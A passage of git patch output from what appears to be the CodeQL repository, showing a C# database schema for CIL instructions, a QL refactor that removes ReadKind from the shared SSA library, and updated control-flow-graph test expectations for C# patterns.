@cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +| 4 = @cil_function_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_function_pointer_return_type( + unique int id: @cil_function_pointer_type ref, + int return_type: @cil_type ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field | @cil_function_pointer_type; +@cil_parameterizable = @cil_method | @cil_function_pointer_type; +@cil_has_type_annotation = @cil_stack_variable | @cil_property | @cil_method | @cil_function_pointer_type; + +#keyset[parameterizable, index] +cil_parameter( + unique int id: @cil_parameter, + int parameterizable: @cil_parameterizable ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_type_annotation( + int id: @cil_has_type_annotation ref, + int annotation: int ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +cil_function_pointer_calling_conventions( + int id: @cil_function_pointer_type ref, + int kind: int ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; +@dotnet_parameterizable = @parameterizable | @cil_parameterizable; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/upgrade.properties b/csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/upgrade.properties new file mode 100644 index 00000000000..76895754bd0 --- /dev/null +++ b/csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/upgrade.properties @@ -0,0 +1,4 @@ +description: Added '@cil_function_pointer_type' and related relations ('cil_function_pointer_return_type', +'cil_function_pointer_calling_conventions'). Introduced 'cil_type_annotation' and '@cil_has_type_annotation' +to store by-reference type annotation. Added '@cil_parameterizable' to represent methods and type parameters. +compatibility: backwards From e7b43e50b6e014deb0ecbcc777c6b7ae524051b5 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Fri, 22 Jan 2021 10:25:10 +0100 Subject: [PATCH 0794/1241] C#: Remove `ReadKind` from the shared SSA library --- .../src/semmle/code/csharp/dataflow/SSA.qll | 7 +- .../code/csharp/dataflow/internal/SsaImpl.qll | 8 ++- .../dataflow/internal/SsaImplCommon.qll | 67 +++++++++---------- .../dataflow/internal/SsaImplSpecific.qll | 6 +- 4 files changed, 42 insertions(+), 46 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll index f1ba9523c31..7fe19636f58 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll @@ -233,10 +233,11 @@ module Ssa { * node between lines 9 and 10. */ final AssignableRead getAReadAtNode(ControlFlow::Node cfn) { - exists(ControlFlow::BasicBlock bb, int i | - SsaImpl::ssaDefReachesRead(_, this, bb, i, SsaImpl::ActualRead()) and + exists(SourceVariable v, ControlFlow::BasicBlock bb, int i | + SsaImpl::ssaDefReachesRead(v, this, bb, i) and cfn = bb.getNode(i) and - result.getAControlFlowNode() = cfn + cfn = result.getAControlFlowNode() and + result = v.getAnAccess().(AssignableRead) ) } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll index 54cf939e50c..47a3c84263b 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll @@ -1114,10 +1114,12 @@ private module Cached { Ssa::ExplicitDefinition def, Ssa::ImplicitEntryDefinition edef, ControlFlow::Nodes::ElementNode c, boolean additionalCalls ) { - exists(Definition def0, ControlFlow::BasicBlock bb, int i | - capturedReadIn(_, _, def.getSourceVariable(), edef.getSourceVariable(), c, additionalCalls) and + exists(Ssa::SourceVariable v, Definition def0, ControlFlow::BasicBlock bb, int i | + v = def.getSourceVariable() and + capturedReadIn(_, _, v, edef.getSourceVariable(), c, additionalCalls) and def = def0.getAnUltimateDefinition() and - ssaDefReachesRead(_, def0, bb, i, CapturedVarCallRead()) and + ssaDefReachesRead(_, def0, bb, i) and + variableRead(bb, i, v, CapturedVarCallRead()) and c = bb.getNode(i) ) } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll index f1ffd7ff489..a3c3417f0aa 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll @@ -19,18 +19,18 @@ private module Cached { * (certain or uncertain) writes. */ private newtype TRefKind = - Read(ReadKind rk) or + Read() or Write(boolean certain) { certain = true or certain = false } private class RefKind extends TRefKind { string toString() { - exists(ReadKind rk | this = Read(rk) and result = "read (" + rk + ")") + this = Read() and result = "read" or exists(boolean certain | this = Write(certain) and result = "write (" + certain + ")") } int getOrder() { - this = Read(_) and + this = Read() and result = 0 or this = Write(_) and @@ -42,7 +42,7 @@ private module Cached { * Holds if the `i`th node of basic block `bb` is a reference to `v` of kind `k`. */ private predicate ref(BasicBlock bb, int i, SourceVariable v, RefKind k) { - exists(ReadKind rk | variableRead(bb, i, v, rk) | k = Read(rk)) + variableRead(bb, i, v) and k = Read() or exists(boolean certain | variableWrite(bb, i, v, certain) | k = Write(certain)) } @@ -94,40 +94,38 @@ private module Cached { /** * Holds if source variable `v` is live at the beginning of basic block `bb`. - * The read that witnesses the liveness of `v` is of kind `rk`. */ - predicate liveAtEntry(BasicBlock bb, SourceVariable v, ReadKind rk) { + predicate liveAtEntry(BasicBlock bb, SourceVariable v) { // The first read or certain write to `v` inside `bb` is a read - refRank(bb, _, v, Read(rk)) = firstReadOrCertainWrite(bb, v) + refRank(bb, _, v, Read()) = firstReadOrCertainWrite(bb, v) or // There is no certain write to `v` inside `bb`, but `v` is live at entry // to a successor basic block of `bb` not exists(firstReadOrCertainWrite(bb, v)) and - liveAtExit(bb, v, rk) + liveAtExit(bb, v) } /** * Holds if source variable `v` is live at the end of basic block `bb`. - * The read that witnesses the liveness of `v` is of kind `rk`. */ - predicate liveAtExit(BasicBlock bb, SourceVariable v, ReadKind rk) { - liveAtEntry(getABasicBlockSuccessor(bb), v, rk) + predicate liveAtExit(BasicBlock bb, SourceVariable v) { + liveAtEntry(getABasicBlockSuccessor(bb), v) } /** * Holds if variable `v` is live in basic block `bb` at index `i`. * The rank of `i` is `rnk` as defined by `refRank()`. */ - private predicate liveAtRank(BasicBlock bb, int i, SourceVariable v, int rnk, ReadKind rk) { + private predicate liveAtRank(BasicBlock bb, int i, SourceVariable v, int rnk) { exists(RefKind kind | rnk = refRank(bb, i, v, kind) | rnk = maxRefRank(bb, v) and - liveAtExit(bb, v, rk) + liveAtExit(bb, v) or ref(bb, i, v, kind) and - kind = Read(rk) + kind = Read() or exists(RefKind nextKind | - liveAtRank(bb, _, v, rnk + 1, rk) and + liveAtRank(bb, _, v, rnk + 1) and rnk + 1 = refRank(bb, _, v, nextKind) and nextKind != Write(true) ) @@ -136,11 +134,10 @@ private module Cached { /** * Holds if variable `v` is live after the (certain or uncertain) write at - * index `i` inside basic block `bb`. The read that witnesses the liveness of - * `v` is of kind `rk`. + * index `i` inside basic block `bb`. */ - predicate liveAfterWrite(BasicBlock bb, int i, SourceVariable v, ReadKind rk) { - exists(int rnk | rnk = refRank(bb, i, v, Write(_)) | liveAtRank(bb, i, v, rnk, rk)) + predicate liveAfterWrite(BasicBlock bb, int i, SourceVariable v) { + exists(int rnk | rnk = refRank(bb, i, v, Write(_)) | liveAtRank(bb, i, v, rnk)) } } @@ -182,11 +179,11 @@ private module Cached { newtype TDefinition = TWriteDef(SourceVariable v, BasicBlock bb, int i) { variableWrite(bb, i, v, _) and - liveAfterWrite(bb, i, v, _) + liveAfterWrite(bb, i, v) } or TPhiNode(SourceVariable v, BasicBlock bb) { inDefDominanceFrontier(bb, v) and - liveAtEntry(bb, v, _) + liveAtEntry(bb, v) } private module SsaDefReaches { @@ -223,7 +220,7 @@ private module Cached { * Unlike `Liveness::ref`, this includes `phi` nodes. */ predicate ssaRef(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { - variableRead(bb, i, v, _) and + variableRead(bb, i, v) and k = SsaRead() or exists(Definition def | def.definesAt(v, bb, i)) and @@ -287,16 +284,12 @@ private module Cached { /** * Holds if the SSA definition of `v` at `def` reaches index `i` in the same * basic block `bb`, without crossing another SSA definition of `v`. - * - * The read at `i` is of kind `rk`. */ - predicate ssaDefReachesReadWithinBlock( - SourceVariable v, Definition def, BasicBlock bb, int i, ReadKind rk - ) { + predicate ssaDefReachesReadWithinBlock(SourceVariable v, Definition def, BasicBlock bb, int i) { exists(int rnk | ssaDefReachesRank(bb, def, rnk, v) and rnk = ssaRefRank(bb, i, v, SsaRead()) and - variableRead(bb, i, v, rk) + variableRead(bb, i, v) ) } @@ -321,7 +314,7 @@ private module Cached { v = def.getSourceVariable() and result = ssaRefRank(bb, i, v, k) and ( - ssaDefReachesRead(_, def, bb, i, _) + ssaDefReachesRead(_, def, bb, i) or def.definesAt(_, bb, i) ) @@ -362,7 +355,7 @@ private module Cached { predicate defAdjacentRead(Definition def, BasicBlock bb1, BasicBlock bb2, int i2) { varBlockReaches(def, bb1, bb2) and ssaRefRank(bb2, i2, def.getSourceVariable(), SsaRead()) = 1 and - variableRead(bb2, i2, _, _) + variableRead(bb2, i2, _) } } @@ -390,11 +383,11 @@ private module Cached { predicate ssaDefReachesEndOfBlock(BasicBlock bb, Definition def, SourceVariable v) { exists(int last | last = maxSsaRefRank(bb, v) | ssaDefReachesRank(bb, def, last, v) and - liveAtExit(bb, v, _) + liveAtExit(bb, v) ) or ssaDefReachesEndOfBlockRec(bb, def, v) and - liveAtExit(bb, v, _) and + liveAtExit(bb, v) and not ssaRef(bb, _, v, SsaDef()) } @@ -404,12 +397,12 @@ private module Cached { * is of kind `rk`. */ cached - predicate ssaDefReachesRead(SourceVariable v, Definition def, BasicBlock bb, int i, ReadKind rk) { - ssaDefReachesReadWithinBlock(v, def, bb, i, rk) + predicate ssaDefReachesRead(SourceVariable v, Definition def, BasicBlock bb, int i) { + ssaDefReachesReadWithinBlock(v, def, bb, i) or - variableRead(bb, i, v, rk) and + variableRead(bb, i, v) and ssaDefReachesEndOfBlock(getABasicBlockPredecessor(bb), def, v) and - not ssaDefReachesReadWithinBlock(v, _, bb, i, _) + not ssaDefReachesReadWithinBlock(v, _, bb, i) } /** @@ -439,7 +432,7 @@ private module Cached { exists(int rnk | rnk = ssaDefRank(def, _, bb1, i1, _) and rnk + 1 = ssaDefRank(def, _, bb1, i2, SsaRead()) and - variableRead(bb1, i2, _, _) and + variableRead(bb1, i2, _) and bb2 = bb1 ) or diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll index e71b469368a..3c18ad905c7 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplSpecific.qll @@ -12,10 +12,10 @@ BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getASuccessor() class ExitBasicBlock = ControlFlow::BasicBlocks::ExitBlock; -class ReadKind = SsaImpl::ReadKind; - class SourceVariable = SsaImpl::TSourceVariable; predicate variableWrite = SsaImpl::variableWrite/4; -predicate variableRead = SsaImpl::variableRead/4; +predicate variableRead(BasicBlock bb, int i, SourceVariable v) { + SsaImpl::variableRead(bb, i, v, _) +} From 008035715329b2e68df70ba497e9d07f5dc559b1 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 24 Nov 2020 12:54:14 +0100 Subject: [PATCH 0795/1241] C#: Add unary pattern CFG tests --- .../controlflow/graph/BasicBlock.expected | 18 +- .../controlflow/graph/Condition.expected | 21 +- .../controlflow/graph/Dominance.expected | 206 ++++++++++++-- .../graph/EnclosingCallable.expected | 257 +++++++++++------- .../controlflow/graph/EntryElement.expected | 44 +++ .../controlflow/graph/ExitElement.expected | 46 ++++ .../controlflow/graph/ExtractorOptions.cs | 1 - .../controlflow/graph/NodeGraph.expected | 60 +++- .../controlflow/graph/Nodes.expected | 7 +- .../controlflow/graph/Patterns.cs | 31 ++- 10 files changed, 557 insertions(+), 134 deletions(-) delete mode 100644 csharp/ql/test/library-tests/controlflow/graph/ExtractorOptions.cs diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index 6f3b0b5e956..4b6d6aea058 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -924,7 +924,7 @@ | NullCoalescing.cs:15:31:15:31 | 0 | NullCoalescing.cs:16:17:16:18 | "" | 5 | | NullCoalescing.cs:16:17:16:25 | ... ?? ... | NullCoalescing.cs:17:13:17:19 | (...) ... | 5 | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:13:10:13:11 | exit M6 | 4 | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:8:13:8:23 | ... is ... | 9 | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:8:13:8:23 | ... is ... | 9 | | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:10:13:10:42 | call to method WriteLine | 6 | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:18:12:31 | ... is ... | 4 | | Patterns.cs:13:9:15:9 | {...} | Patterns.cs:14:13:14:45 | call to method WriteLine | 6 | @@ -942,7 +942,21 @@ | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:33:18:33:23 | Object v2 | 2 | | Patterns.cs:34:17:34:22 | break; | Patterns.cs:34:17:34:22 | break; | 1 | | Patterns.cs:35:13:35:20 | default: | Patterns.cs:37:17:37:22 | break; | 5 | -| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:5:10:5:13 | exit Test | 4 | +| Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | exit M1 | 4 | +| Patterns.cs:47:24:47:25 | enter M2 | Patterns.cs:47:24:47:25 | exit M2 | 7 | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:21 | ... is ... | 5 | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | exit M3 | 3 | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:25:51:30 | ... is ... | 3 | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:34:51:39 | ... is ... | 3 | +| Patterns.cs:53:24:53:25 | enter M4 | Patterns.cs:53:24:53:25 | exit M4 | 10 | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:60:13:60:17 | not ... | 5 | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:56:26:56:27 | exit M5 | 4 | +| Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:13:60:28 | ... => ... | 2 | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:13:61:13 | _ | 1 | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:13:61:24 | ... => ... | 2 | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:69:13:69:17 | not ... | 5 | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | 1 | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:65:26:65:27 | exit M6 | 6 | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | exit M1 | 7 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:13:12:21 | ... is ... | 6 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | exit M2 | 2 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected index 3f1653363c8..a65a25d0a89 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected +++ 